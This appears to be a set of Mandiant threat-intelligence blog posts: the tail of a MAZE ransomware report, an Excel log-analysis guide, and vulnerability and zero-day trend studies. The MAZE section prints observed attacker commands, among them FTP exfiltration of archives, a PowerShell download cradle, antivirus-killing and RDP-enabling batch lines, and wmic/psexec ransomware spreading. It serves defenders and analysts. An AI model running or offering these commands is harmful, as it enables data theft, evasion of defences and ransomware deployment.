File Transfer - Adfind.exe, Download • A150-046 - Malicious File Transfer - BEACON, Download • A100-880 - Malicious File Transfer - Bloodhound Ingestor Download, C Sharp Executable Variant • A100-881 - Malicious File Transfer - Bloodhound Ingestor Download, C Sharp PowerShell Variant • A100-882 - Malicious File Transfer - Bloodhound Ingestor Download, PowerShell Variant • A101-037 - Malicious File Transfer - MAZE Download, Variant #1 • A101-038 - Malicious File Transfer - MAZE Download, Variant #2 • A101-039 - Malicious File Transfer - MAZE Download, Variant #3 • A101-040 - Malicious File Transfer - MAZE Download, Variant #4 • A101-041 - Malicious File Transfer - MAZE Download, Variant #5 • A101-042 - Malicious File Transfer - MAZE Download, Variant #6 • A101-043 - Malicious File Transfer - MAZE Download, Variant #7 • A101-044 - Malicious File Transfer - MAZE Download, Variant #8 • A101-045 - Malicious File Transfer - MAZE Download, Variant #9 • A101-034 - Malicious File Transfer - MAZE Dropper Download, Variant #1 • A101-035 - Malicious File Transfer - MAZE Dropper Download, Variant #2 • A100-885 - Malicious File Transfer - MAZE Dropper Download, Variant #4 • A101-036 - Malicious File Transfer - MAZE Ransomware, Malicious Macro, PowerShell Script Download • A100-284 - Malicious File Transfer - Mimikatz W/ Padding (1MB), Download • A100-886 - Malicious File Transfer - Rclone.exe, Download • A100-484 - Scanning Activity - Nmap smb-enum-shares, SMB Share Enumeration #### Detecting the Techniques  Platform Signature Name MVX (covers multiple FireEye technologies) Bale Detection FE_Ransomware_Win_MAZE_1 Endpoint Security WMIC SHADOWCOPY DELETE (METHODOLOGY) MAZE RANSOMWARE (FAMILY) Network Security Ransomware.Win.MAZE Ransomware.Maze Ransomware.Maze #### MITRE ATT&CK Mappings Mandiant currently tracks three separate clusters of activity involved in the post-compromise distribution of MAZE ransomware. Future data collection and analysis efforts may reveal additional groups involved in intrusion activity supporting MAZE operations, or may instead allow us to collapse some of these groups into larger clusters. It should also be noted that ‘initial access’ phase techniques have been included in these mappings, though in some cases this access may have been provided by a separate threat actor(s). #### MAZE Group 1 MITRE ATT&CK Mapping  ATT&CK Tactic Category Techniques Initial Access T1133: External Remote Services T1078: Valid Accounts Execution T1059: Command-Line Interface T1086: PowerShell T1064: Scripting T1035: Service Execution Persistence T1078: Valid Accounts T1050: New Service Privilege Escalation T1078: Valid Accounts Defense Evasion T1078: Valid Accounts T1036: Masquerading T1027: Obfuscated Files or Information T1064: Scripting Credential Access T1110: Brute Force T1003: Credential Dumping Discovery T1087: Account Discovery T1482: Domain Trust Discovery T1083: File and Directory Discovery T1135: Network Share Discovery T1069: Permission Groups Discovery T1018: Remote System Discovery T1016: System Network Configuration Discovery Lateral Movement T1076: Remote Desktop Protocol T1105: Remote File Copy Collection T1005: Data from Local System Command and Control T1043: Commonly Used Port T1105: Remote File Copy T1071: Standard Application Layer Protocol Exfiltration T1002: Data Compressed T1048: Exfiltration Over Alternative Protocol Impact T1486: Data Encrypted for Impact T1489: Service Stop #### MAZE Group 2 MITRE ATT&CK Mapping  ATT&CK Tactic Category Techniques Initial Access T1193: Spearphishing Attachment Execution T1059: Command-Line Interface T1086: PowerShell T1085: Rundll32 T1064: Scripting T1204: User Execution T1028: Windows Remote Management Persistence T1078: Valid Accounts T1050: New Service T1136: Create Account Privilege Escalation T1078: Valid Accounts T1050: New Service Defense Evasion T1078: Valid Accounts T1140: Deobfuscate/Decode Files or Information T1107: File Deletion T1036: Masquerading Credential Access T1003: Credential Dumping T1081: Credentials in Files T1171: LLMNR/NBT-NS Poisoning Discovery T1087: Account Discovery T1482: Domain Trust Discovery T1083: File and Directory Discovery T1135: Network Share Discovery T1069: Permission Groups Discovery T1018: Remote System Discovery T1033: System Owner/User Discovery Lateral Movement T1076: Remote Desktop Protocol T1028: Windows Remote Management Collection T1074: Data Staged T1005: Data from Local System T1039: Data from Network Shared Drive Command and Control T1043: Commonly Used Port T1219: Remote Access Tools T1105: Remote File Copy T1071: Standard Application Layer Protocol T1032: Standard Cryptographic Protocol Exfiltration T1020: Automated Exfiltration T1002: Data Compressed T1048: Exfiltration Over Alternative Protocol Impact T1486: Data Encrypted for Impact #### MAZE Group 3 MITRE ATT&CK Mapping (FIN6)  ATT&CK Tactic Category Techniques Initial Access T1133: External Remote Services T1078: Valid Accounts Execution T1059: Command-Line Interface T1086: PowerShell T1064: Scripting T1035: Service Execution Persistence T1078: Valid Accounts T1031: Modify Existing Service Privilege Escalation T1055: Process Injection T1078: Valid Accounts Defense Evasion T1055: Process Injection T1078: Valid Accounts T1116: Code Signing T1089: Disabling Security Tools T1202: Indirect Command Execution T1112: Modify Registry T1027: Obfuscated Files or Information T1108: Redundant Access T1064: Scripting Credential Access T1003: Credential Dumping Discovery T1087: Account Discovery T1482: Domain Trust Discovery T1083: File and Directory Discovery T1069: Permission Groups Discovery T1018: Remote System Discovery Lateral Movement T1097: Pass the Ticket T1076: Remote Desktop Protocol T1105: Remote File Copy T1077: Windows Admin Shares Collection T1074: Data Staged T1039: Data from Network Shared Drive Command and Control T1043: Commonly Used Port T1219: Remote Access Tools T1105: Remote File Copy T1071: Standard Application Layer Protocol T1032: Standard Cryptographic Protocol Exfiltration T1002: Data Compressed Impact T1486: Data Encrypted for Impact T1490: Inhibit System Recovery T1489: Service Stop #### Example Commands Observed in MAZE Ransomware Incidents  function Enum-UsersFolders(PathEnum) {     $foldersArr = 'Desktop','Downloads','Documents','AppData/Roaming','AppData/Local' Get-ChildItem -Path$PathEnum'/c$' -ErrorAction SilentlyContinue Get-ChildItem -Path$PathEnum'/c$/Program Files' -ErrorAction SilentlyContinue Get-ChildItem -Path$PathEnum'/c$/Program Files (x86)' -ErrorAction SilentlyContinue foreach($Directory in Get-ChildItem -Path $PathEnum'/c$/Users' -ErrorAction SilentlyContinue) {         foreach($SeachDir in$foldersArr) {             Get-ChildItem -Path $PathEnum'/c$/Users/'$Directory'/'$SeachDir -ErrorAction SilentlyContinue         }     } }

PowerShell reconnaissance script used to enumerate directories

 $Dir="C:/Windows/Temp/" #ftp server$ftp = "ftp:///incoming/" $user = ""$pass = "" $webclient = New-Object System.Net.WebClient$webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass) #list every sql server trace file foreach($item in (dir$Dir "*.7z")){    "Uploading $item..."$uri = New-Object System.Uri($ftp+$item.Name)    $webclient.UploadFile($uri, $item.FullName) } Decoded FTP upload PowerShell script  powershell -nop -exec bypass IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:43984/'); Add-FtpFile -ftpFilePath "ftp:///cobalt_uploads/" -localFile "\ " -userName "" -password "" Decoded FTP upload PowerShell script  […] echo 7 echo 7 taskkill /im csrss_tc.exe /f taskkill /im kwsprod.exe /f taskkill /im avkwctl.exe /f taskkill /im rnav.exe /f taskkill /im crssvc.exe /f sc config CSAuth start= disabled taskkill /im vsserv.exe /f taskkill /im ppmcativedetection.exe /f […] taskkill /im sahookmain.exe /f taskkill /im mcinfo.exe /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall set rule group="remote desktop" new enable=Ye c:\windows\temp\sss.exe Excerpt from windows.bat kill script  start copy sss.exe \\\c$\windows\temp\ start copy sss.exe \\\c$\windows\temp\ start copy windows.bat \\\c$\windows\temp\ start copy windows.bat \\\c$\windows\temp\ start wmic /node:"" /user:"" /password:"" process call create "c:\windows\temp\sss.exe" start wmic /node:"" /user:"" /password:"" process call create "c:\windows\temp\sss.exe" start wmic /node:"" /user:"" /password:"" process call create "cmd.exe /c c:\windows\temp\windows.bat" start wmic /node:"" /user:"" /password:"" process call create "cmd.exe /c c:\windows\temp\windows.bat" start wmic /node:"" /user:"" /password:"" process call create "cmd.exe /c copy \\\c$\windows\temp\sss.exe c:\windows\temp\" start wmic /node:"" /user:"" /password:"" process call create "cmd.exe /c copy \\\c$\windows\temp\sss.exe c:\windows\temp\" start wmic /node:"" /user:"" /password:"" process call create "cmd.exe /c copy \\\c$\windows\temp\windows.bat c:\windows\temp\" start wmic /node:"" /user:"" /password:"" process call create "cmd.exe /c copy \\\c$\windows\temp\windows.bat c:\windows\temp\" start psexec.exe \\ -u -p "" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\sss.exe start psexec.exe \\ -u -p "" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\sss.exe start psexec.exe \\ -u -p "" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\windows.bat start psexec.exe \\ -u < DOMAIN\adminaccount> -p "" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\windows.bat Example commands from MAZE distribution scripts  @echo off del done.txt del offline.txt rem Loop thru list of computer names in file specified on command-line for /f %%i in (%1) do call :check_machine %%i goto end :check_machine rem Check to see if machine is up. ping -n 1 %1|Find "TTL=" >NUL 2>NUL if errorlevel 1 goto down echo %1 START cmd /c "copy [Location of MAZE binary] \\%1\c$\windows\temp && exit" timeout 1 > NUL echo %1 >> done.txt rem wmic /node:"%1" process call create "regsvr32.exe /i C:\windows\temp\[MAZE binary name]" >> done.txt START "" cmd /c "wmic /node:"%1" process call create "regsvr32.exe /i C:\windows\temp\[MAZE binary name]" && exit" goto end :down   rem Report machine down   echo %1 >> offline.txt :end

Example MAZE distribution script

#### Indicators of Compromise

Mandiant Threat Intelligence will host an exclusive webinar on Thursday, May 21, 2020, at 8 a.m. PT / 11 a.m. ET to provide updated insight and information into the MAZE ransomware threat, and to answer questions from attendees. Register today to reserve your spot.

# Excelerating Analysis, Part 2 — X[LOOKUP] Gon’ Pivot To Ya

In December 2019, we published a blog post on augmenting analysis using Microsoft Excel for various data sets for incident response investigations. As we described, investigations often include custom or proprietary log formats and miscellaneous, non-traditional forensic artifacts. There are, of course, a variety of ways to tackle this task, but Excel stands out as a reliable way to analyze and transform a majority of data sets we encounter.

In our first post, we discussed summarizing verbose artifacts using the CONCAT function, converting timestamps using the TIME function, and using the COUNTIF function for log baselining. In this post, we will cover two additional versatile features of Excel: LOOKUP functions and PivotTables.

For this scenario, we will use a dataset of logon events for an example Microsoft Office 365 (O365) instance to demonstrate how an analyst can enrich information in the dataset. Then we will demonstrate some examples of how to use PivotTables to summarize information and highlight anomalies in the data quickly.

Our data contains the following columns:

• Description – Event description
• User – User’s name
• User Principle Name – email address
• App – such as Office 365, Sharepoint, etc.
• Location – Country
• Date
• User agent (simplified)
• Organization – associated with IP address (as identified by O365)

Figure 1: O365 data set

#### LOOKUP for Data Enrichment

It may be useful to add more information to the data that could help us in analysis that isn’t provided by the original log source. A step FireEye Mandiant often performs during investigations is to take all unique IP addresses and query threat intelligence sources for each IP address for reputation, WHOIS information, connections to known threat actor activity, etc. This grants more information about each IP address that we can take into consideration in our analysis.

While FireEye Mandiant is privy to historical engagement data and Mandiant Threat Intelligence, if security teams or organizations do not have access to commercial threat intelligence feeds, there are numerous open source intelligence services that can be leveraged.

We can also use IP address geolocation services to obtain latitude and longitude related to each source IP address. This information may be useful in identifying anomalous logons based on geographical location.

After taking all source IP addresses, running them against threat intelligence feeds and geolocating them, we have the following data added to a second sheet called “IP Address Intel” in our Excel document:

We can already see before we even dive into the logs themselves that we have suspicious activity: The five IP addresses in the 203.0.113.0/24 range in our data are known to be associated with activity connected to a fictional threat actor tracked as TMP.OGRE.

To enrich our original dataset, we will add three columns to our data to integrate the supplementary information: “Latitude,” “Longitude,” and “Threat Intel” (Figure 3). We can use the VLOOKUP or XLOOKUP functions to quickly retrieve the supplementary data and integrate it into our main O365 log sheet.

Figure 3: Enrichment columns

#### VLOOKUP

The traditional way to look up particular data in another array is by using the VLOOKUP function. We will use the following formula to reference the “Latitude” values for a given IP address:

Figure 4: VLOOKUP formula for Latitude

There are four parts to this formula:

1. Value to look up:
• This dictates what cell value we are going to look up more information for. In this case, it is cell G2, which is the IP address.
2. Table array:
• This defines the entire array in which we will look up our value and return data from. The first column in the array must contain the value being looked up. In the aforementioned example, we are searching in ‘IP Address Intel’!$A$2:$D:$15. In other words, we are looking in the other sheet in this workbook we created earlier titled “IP Address Intel”, then in that sheet, search in the cell range of A2 to D15.

Figure 5: VLOOKUP table array

Note the use of the “$” to ensure these are absolute references and will not be updated by Excel if we copy this formula to other cells. 3. Column index number: • This identifies the column number from which to return data. The first column is considered column 1. We want to return the “Latitude” value for the given IP address, so in the aforementioned example, we tell Excel to return data from column 2. 4. Range lookup (match type) • This part of the formula tells Excel what type of matching to perform on the value being looked up. Excel defaults to “Approximate” matching, which assumes the data is sorted and will match the closest value. We want to perform “Exact” matching, so we put “0” here (“FALSE” is also accepted). With the VLOOKUP function complete for the “Latitude” data, we can use the fill handle to update this field for the rest of the data set. To get the values for the “Longitude” and “Threat Intel” columns, we repeat the process by using a similar function and, adjusting the column index number to reference the appropriate columns, then use the fill handle to fill in the rest of the column in our O365 data sheet: • For Longitude: • =VLOOKUP(G2,'IP Address Intel'!$A$2:$D$15,3,0) • For Threat Intel: • =VLOOKUP(G2,'IP Address Intel'!$A$2:$D$15,4,0) #### Bonus Option: XLOOKUP The XLOOKUP function in Excel is a more efficient way to reference the threat intelligence data sheet. XLOOKUP is a newer function introduced to Excel to replace the legacy VLOOKUP function and, at the time of writing this post, is only available to “O365 subscribers in the Monthly channel”, according to Microsoft. In this instance, we will also leverage Excel’s dynamic arrays and “spilling” to fill in this data more efficiently, instead of making an XLOOKUP function for each column. NOTE: To utilize dynamic arrays and spilling, the data we are seeking to enrich cannot be in the form of a “Table” object. Instead, we will apply filters to the top row of our O365 data set by selecting the “Filter” option under “Sort & Filter” in the “Home” ribbon: Figure 6: Filter option To reference the threat intelligence data sheet using XLOOKUP, we will use the following formula: Figure 7: XLOOKUP function for enrichment There are three parts to this XLOOKUP formula: 1. Value to lookup: • This dictates what cell value we are going to look up more information for. In this case, it is cell G2, which is the IP address. 2. Array to look in: • This will be the array of data in which Excel will search for the value to look up. Excel does exact matching by default for XLOOKUP. In the aforementioned example, we are searching in ‘IP Address Intel’!$A$2:$A:$15. In other words, we are looking in the other sheet in this workbook titled “IP Address Intel”, then in that sheet, search in the cell range of A2 to A15: Figure 8: XLOOKUP array to look in Note the use of the “$” to ensure these are absolute references and will not be updated by Excel if we copy this formula to other cells.
3. Array of data to return:
• This part will be the array of data from which Excel will return data. In this case, Excel will return the data contained within the absolute range of B2 to D15 from the “IP Address Intel” sheet for the value that was looked up. In the aforementioned example formula, it will return the values in the row for the IP address 198.51.100.126:

Figure 9: Data to be returned from ‘IP Address Intel’ sheet

Because this is leveraging dynamic arrays and spilling, all three cells of the returned data will populate, as seen in Figure 4.

Now that our dataset is completely enriched by either using VLOOKUP or XLOOKUP, we can start hunting for anomalous activity. As a quick first step, since we know at least a handful of IP addresses are potentially malicious, we can filter on the “Threat Intel” column for all rows that match “TMP.OGRE” and reveal logons with source IP addresses related to known threat actors. Now we have timeframes and suspected compromised accounts to pivot off of for additional hunting through other data.

#### PIVOT! PIVOT! PIVOT!

One of the most useful tools for highlighting anomalies by summarizing data, performing frequency analysis and quickly obtaining other statistics about a given dataset is Excel’s PivotTable function.

#### Location Anomalies

Let’s utilize a PivotTable to perform frequency analysis on the location from which users logged in. This type of technique may highlight activity where a user account logged in from a location which is unusual for them.

To create a PivotTable for our data, we can select any cell in our O365 data and select the entire range with Ctrl+A. Then, under the “Insert” tab in the ribbon, select “PivotTable”:

Figure 10: PivotTable selection

This will bring up a window, as seen in Figure 11, to confirm the data for which we want to make a PivotTable (Step 1 in Figure 11). Since we selected our O365 log data set with Ctrl+A, this should be automatically populated. It will also ask where we want to put the PivotTable (Step 2 in Figure 11). In this instance, we created another sheet called “PivotTable 1” to place the PivotTable:

Figure 11: PivotTable creation

Now that the PivotTable is created, we must select how we want to populate the PivotTable using our data. Remember, we are trying to determine the locations from which all users logged in. We will want a row for each user and a sub-row for each location the user has logged in from. Let’s add a count of how many times they logged in from each location as well. We will use the “Date” field to do this for this example:

Figure 12: PivotTable field definitions

Examining this table, we can immediately see there are two users with source location anomalies: Ginger Breadman and William Brody have a small number of logons from “FarFarAway”, which is abnormal for these users based on this data set.

We can add more data to this PivotTable to get a timeframe of this suspicious activity by adding two more “Date” fields to the “Values” area. Excel defaults to “Count” of whatever field we drop in this area, but we will change this to the “Minimum” and “Maximum” values by using the “Value Field Settings”, as seen in Figure 13.

Figure 13: Adding min and max dates

Now we have a PivotTable that shows us anomalous locations for logons, as well as the timeframe in which the logons occurred, so we can hone our investigation. For this example, we also formatted all cells with timestamp values to reflect the format FireEye Mandiant typically uses during analysis by selecting all the appropriate cells, right-clicking and choosing “Format Cells”, and using a “Custom” format of “YYYY-MM-DD HH:MM:SS”.

Figure 14: PivotTable with suspicious locations and timeframe

Geolocation anomalies may not always be valuable. However, using a similar configuration as the previous example, we can identify suspicious source IP addresses. We will add “User Principle Name” and “IP Address” fields as Rows, and “IP Address” as Values. Let’s also add the “App” field to Columns. Our field settings and resulting table are displayed in Figure 15:

Figure 15: PivotTable with IP addresses and apps

With just a few clicks, we have a summarized table indicating which IP addresses each user logged in from, and which app they logged into. We can quickly identify two users logged in from IP addresses in the 203.0.113.0/24 range six times, and which applications they logged into from each of these IP addresses.

While these are just a couple use cases, there are many ways to format and view evidence using PivotTables. We recommend trying PivotTables on any data set being reviewed with Excel and experimenting with the Rows, Columns, and Values parameters.

We also recommend adjusting the PivotTable options, which can help reformat the table itself into a format that might fit requirements.

#### Conclusion

These Excel functions are used frequently during investigations at FireEye Mandiant and are considered important forensic analysis techniques. The examples we give here are just a glimpse into the utility of LOOKUP functions and PivotTables. LOOKUP functions can be used to reference a multitude of data sources and can be applied in other situations during investigations such as tracking remediation and analysis efforts.

PivotTables may be used in a variety of ways as well, depending on what data is available, and what sort of information is being analyzed to identify suspicious activity. Employing these techniques, alongside the ones we highlighted previously, on a consistent basis will go a long way in "excelerating" forensic analysis skills and efficiency.

# Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation — Intelligence for Vulnerability Management, Part Two

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations. Check out our first post on zero-day vulnerabilities.

Attackers are in a constant race to exploit newly discovered vulnerabilities before defenders have a chance to respond. FireEye Mandiant Threat Intelligence research into vulnerabilities exploited in 2018 and 2019 suggests that the majority of exploitation in the wild occurs before patch issuance or within a few days of a patch becoming available.

Figure 1: Percentage of vulnerabilities exploited at various times in relation to patch release

FireEye Mandiant Threat Intelligence analyzed 60 vulnerabilities that were either exploited or assigned a CVE number between Q1 2018 to Q3 2019. The majority of vulnerabilities were exploited as zero-days – before a patch was available. More than a quarter were exploited within one month after the patch date. Figure 2 illustrates the number of days between when a patch was made available and the first observed exploitation date for each vulnerability.

We believe these numbers to be conservative estimates, as we relied on the first reported exploitation of a vulnerability linked to a specific date. Frequently, first exploitation dates are not publicly disclosed. It is also likely that in some cases exploitation occurred without being discovered before researchers recorded exploitation attached to a certain date.

Figure 2: Time between vulnerability exploitation and patch issuance

­­­Time Between Disclosure and Patch Release

The average time between disclosure and patch availability was approximately 9 days. This average is slightly inflated by vulnerabilities such as CVE-2019-0863, a Microsoft Windows server vulnerability, which was disclosed in December 2018 and not patched until 5 months later in May 2019. The majority of these vulnerabilities, however, were patched quickly after disclosure. In 59% of cases, a patch was released on the same day the vulnerability was disclosed. These metrics, in combination with the observed swiftness of adversary exploitation activity, highlight the importance of responsible disclosure, as it may provide defenders with the slim window needed to successfully patch vulnerable systems.

Exploitation After Patch Release

While the majority of the observed vulnerabilities were zero-days, 42 percent of vulnerabilities were exploited after a patch had been released. For these non-zero-day vulnerabilities, there was a very small window (often only hours or a few days) between when the patch was released and the first observed instance of attacker exploitation. Table 1 provides some insight into the race between attackers attempting to exploit vulnerable software and organizations attempting to deploy the patch.

 Time to Exploit for Vulnerabilities First Exploited after a Patch Hours Two vulnerabilities were successfully exploited within hours of a patch release, CVE-2018-2628 and CVE-2018-7602. Days 12 percent of vulnerabilities were exploited within the first week following the patch release. One Month 15 percent of vulnerabilities were exploited after one week but within one month of patch release. Years In multiple cases, such as the first observed exploitation of CVE-2010-1871 and CVE-2012-0874 in 2019, attackers exploited vulnerabilities for which a patch had been made available many years prior.

Table 1: Exploitation timing for patched vulnerabilities ranges from within hours of patch issuance to years after initial disclosure

#### Case Studies

We continue to observe espionage and financially motivated groups quickly leveraging publicly disclosed vulnerabilities in their operations. The following examples demonstrate the speed with which sophisticated groups are able to incorporate vulnerabilities into their toolsets following public disclosure and the fact that multiple disparate groups have repeatedly leveraged the same vulnerabilities in independent campaigns. Successful operations by these types of groups are likely to have a high potential impact.

Figure 3: Timeline of activity for CVE-2018-15982

CVE-2018-15982: A use after free vulnerability in a file package in Adobe Flash Player 31.0.0.153 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. This vulnerability was exploited by espionage groups—Russia's APT28 and North Korea's APT37—as well as TEMP.MetaStrike and other financially motivated attackers.

Figure 4: Timeline of activity for CVE-2018-20250

CVE-2018-20250: A path traversal vulnerability exists within the ACE format in the archiver tool WinRAR versions 5.61 and earlier that, when exploited, allows an attacker to locally execute arbitrary code. This vulnerability was exploited by multiple espionage groups, including Chinese, North Korean, and Russian, groups, as well as Iranian groups APT33 and TEMP.Zagros.

Figure 5: Timeline of Activity for CVE-2018-4878

CVE-2018-4878: A use after free vulnerability exists within the DRMManager’s “initialize” call in Adobe Flash Player 28.0.0.137 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. Mandiant Intelligence confirmed that North Korea’s APT37 exploited this vulnerability as a zero-day as early as September 3, 2017. Within 8 days of disclosure, we observed Russia’s APT28 also leverage this vulnerability, with financially motivated attackers and North Korea’s TEMP.Hermit also using within approximately a month of disclosure.

#### Availability of PoC or Exploit Code

The availability of POC or exploit code on its own does not always increase the probability or speed of exploitation. However, we believe that POC code likely hastens exploitation attempts for vulnerabilities that do not require user interaction. For vulnerabilities that have already been exploited, the subsequent introduction of publicly available exploit or POC code indicates malicious actor interest and makes exploitation accessible to a wider range of attackers. There were a number of cases in which certain vulnerabilities were exploited on a large scale within 48 hours of PoC or exploit code availability (Table 2).

 Time Between PoC or Exploit Code Publication and First Observed Potential Exploitation Events Product CVE FireEye Risk Rating 1 day WinRAR CVE-2018-20250 Medium 1 day Drupal CVE-2018-7600 High 1 day Cisco Adaptive Security Appliance CVE-2018-0296 Medium 2 days Apache Struts CVE-2018-11776 High 2 days Cisco Adaptive Security Appliance CVE-2018-0101 High 2 days Oracle WebLogic Server CVE-2018-2893 High 2 days Microsoft Windows Server CVE-2018-8440 Medium 2 days Drupal CVE-2019-6340 Medium 2 days Atlassian Confluence CVE-2019-3396 High

Table 2: Vulnerabilities exploited within two days of either PoC or exploit code being made publicly available, Q1 2018–Q3 2019

#### Trends by Targeted Products

FireEye judges that malicious actors are likely to most frequently leverage vulnerabilities based on a variety of factors that influence the utility of different vulnerabilities to their specific operations. For instance, we believe that attackers are most likely to target the most widely used products (see Figure 6). Attackers almost certainly also consider the cost and availability of an exploit for a specific vulnerability, the perceived success rate based on the delivery method, security measures introduced by vendors, and user awareness around certain products.

The majority of observed vulnerabilities were for Microsoft products, likely due to the ubiquity of Microsoft offerings. In particular, vulnerabilities in software such as Microsoft Office Suite may be appealing to malicious actors based on the utility of email attached documents as initial infection vectors in phishing campaigns.

Figure 6: Exploited vulnerabilities by vendor, Q1 2018–Q3 2019

#### Outlook and Implications

The speed with which attackers exploit patched vulnerabilities emphasizes the importance of patching as quickly as possible. With the sheer quantity of vulnerabilities disclosed each year, however, it can be difficult for organizations with limited resources and business constraints to implement an effective strategy for prioritizing the most dangerous vulnerabilities. In upcoming blog posts, FireEye Mandiant Threat Intelligence describes our approach to vulnerability risk rating as well as strategies for making informed and realistic patch management decisions in more detail.

We recommend using this exploitation trend information to better prioritize patching schedules in combination with other factors, such as known active threats to an organization's industry and geopolitical context, the availability of exploit and PoC code, commonly impacted vendors, and how widely software is deployed in an organization's environment may help to mitigate the risk of a large portion of malicious activity.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

# Zero-Day Exploitation Increasingly Demonstrates Access to Money, Rather than Skill — Intelligence for Vulnerability Management, Part One

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.

FireEye Mandiant Threat Intelligence documented more zero-days exploited in 2019 than any of the previous three years. While not every instance of zero-day exploitation can be attributed to a tracked group, we noted that a wider range of tracked actors appear to have gained access to these capabilities. Furthermore, we noted a significant increase over time in the number of zero-days leveraged by groups suspected to be customers of companies that supply offensive cyber capabilities, as well as an increase in zero-days used against targets in the Middle East, and/or by groups with suspected ties to this region. Going forward, we are likely to see a greater variety of actors using zero-days, especially as private vendors continue feeding the demand for offensive cyber weapons.

#### Zero-Day Usage by Country and Group

Since late 2017, FireEye Mandiant Threat Intelligence noted a significant increase in the number of zero-days leveraged by groups that are known or suspected to be customers of private companies that supply offensive cyber tools and services. Additionally, we observed an increase in zero-days leveraged against targets in the Middle East, and/or by groups with suspected ties to this region.

Examples include:

• A group described by researchers as Stealth Falcon and FruityArmor is an espionage group that has reportedly targeted journalists and activists in the Middle East. In 2016, this group used malware sold by NSO group, which leveraged three iOS zero-days. From 2016 to 2019, this group used more zero-days than any other group.
• The activity dubbed SandCat in open sources, suspected to be linked to Uzbekistan state intelligence, has been observed using zero-days in operations against targets in the Middle East. This group may have acquired their zero-days by purchasing malware from private companies such as NSO group, as the zero-days used in SandCat operations were also used in Stealth Falcon operations, and it is unlikely that these distinct activity sets independently discovered the same three zero-days.
• Throughout 2016 and 2017, activity referred to in open sources as BlackOasis, which also primarily targets entities in the Middle East and likely acquired at least one zero-day in the past from private company Gamma Group, demonstrated similarly frequent access to zero-day vulnerabilities.

We also noted examples of zero-day exploitation that have not been attributed to tracked groups but that appear to have been leveraged in tools provided by private offensive security companies, for instance:

• In 2019, a zero-day exploit in WhatsApp (CVE-2019-3568) was reportedly used to distribute spyware developed by NSO group, an Israeli software company.
• FireEye analyzed activity targeting a Russian healthcare organization that leveraged a 2018 Adobe Flash zero-day (CVE-2018-15982) that may be linked to leaked source code of Hacking Team.
• Android zero-day vulnerability CVE-2019-2215 was reportedly being exploited in the wild in October 2019 by NSO Group tools.

Zero-Day Exploitation by Major Cyber Powers

We have continued to see exploitation of zero days by espionage groups of major cyber powers.

• According to researchers, the Chinese espionage group APT3 exploited CVE-2019-0703 in targeted attacks in 2016.
• FireEye observed North Korean group APT37 conduct a 2017 campaign that leveraged Adobe Flash vulnerability CVE-2018-4878. This group has also demonstrated an increased capacity to quickly exploit vulnerabilities shortly after they have been disclosed.
• From December 2017 to January 2018, we observed multiple Chinese groups leveraging CVE-2018-0802 in a campaign targeting multiple industries throughout Europe, Russia, Southeast Asia, and Taiwan. At least three out of six samples were used before the patch for this vulnerability was issued.
• In 2017, Russian groups APT28 and Turla leveraged multiple zero-days in Microsoft Office products.

In addition, we believe that some of the most dangerous state sponsored intrusion sets are increasingly demonstrating the ability to quickly exploit vulnerabilities that have been made public. In multiple cases, groups linked to these countries have been able to weaponize vulnerabilities and incorporate them into their operations, aiming to take advantage of the window between disclosure and patch application.

Zero-Day Use by Financially Motivated Actors

Financially motivated groups have and continue to leverage zero-days in their operations, though with less frequency than espionage groups.

In May 2019, we reported that FIN6 used a Windows server 2019 use-after-free zero-day (CVE-2019-0859) in a targeted intrusion in February 2019. Some evidence suggests that the group may have used the exploit since August 2018. While open sources have suggested that the group potentially acquired the zero-day from criminal underground actor "BuggiCorp," we have not identified direct evidence linking this actor to this exploit's development or sale.

#### Conclusion

We surmise that access to zero-day capabilities is becoming increasingly commodified based on the proportion of zero-days exploited in the wild by suspected customers of private companies. Possible reasons for this include:

• Private companies are likely creating and supplying a larger proportion of zero-days than they have in the past, resulting in a concentration of zero-day capabilities among highly resourced groups.
• Private companies may be increasingly providing offensive capabilities to groups with lower overall capability and/or groups with less concern for operational security, which makes it more likely that usage of zero-days will be observed.

It is likely that state groups will continue to support internal exploit discovery and development; however, the availability of zero-days through private companies may offer a more attractive option than relying on domestic solutions or underground markets. As a result, we expect that the number of adversaries demonstrating access to these kinds of vulnerabilities will almost certainly increase and will do so at a faster rate than the growth of their overall offensive cyber capabilities—provided they have the ability and will to spend the necessary funds.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

Sourcing Note: Some vulnerabilities and zero-days were identified based on FireEye research, Mandiant breach investigation findings, and other technical collections. This paper also references vulnerabilities and zero-days discussed in open sources including  Google Project Zero's zero-day "In the Wild" Spreadsheet . While we believe these sources are reliable as used in this paper, we do not vouch for the complete findings of those sources. Due to the ongoing discovery of past incidents, we expect that this research will remain dynamic.

# Kerberos Tickets on Linux Red Teams

At FireEye Mandiant, we conduct numerous red team engagements within Windows Active Directory environments. Consequently, we frequently encounter Linux systems integrated within Active Directory environments. Compromising an individual domain-joined Linux system can provide useful data on its own, but the best value is obtaining data, such as Kerberos tickets, that will facilitate lateral movement techniques. By passing these Kerberos Tickets from a Linux system, it is possible to move laterally from a compromised Linux system to the rest of the Active Directory domain.

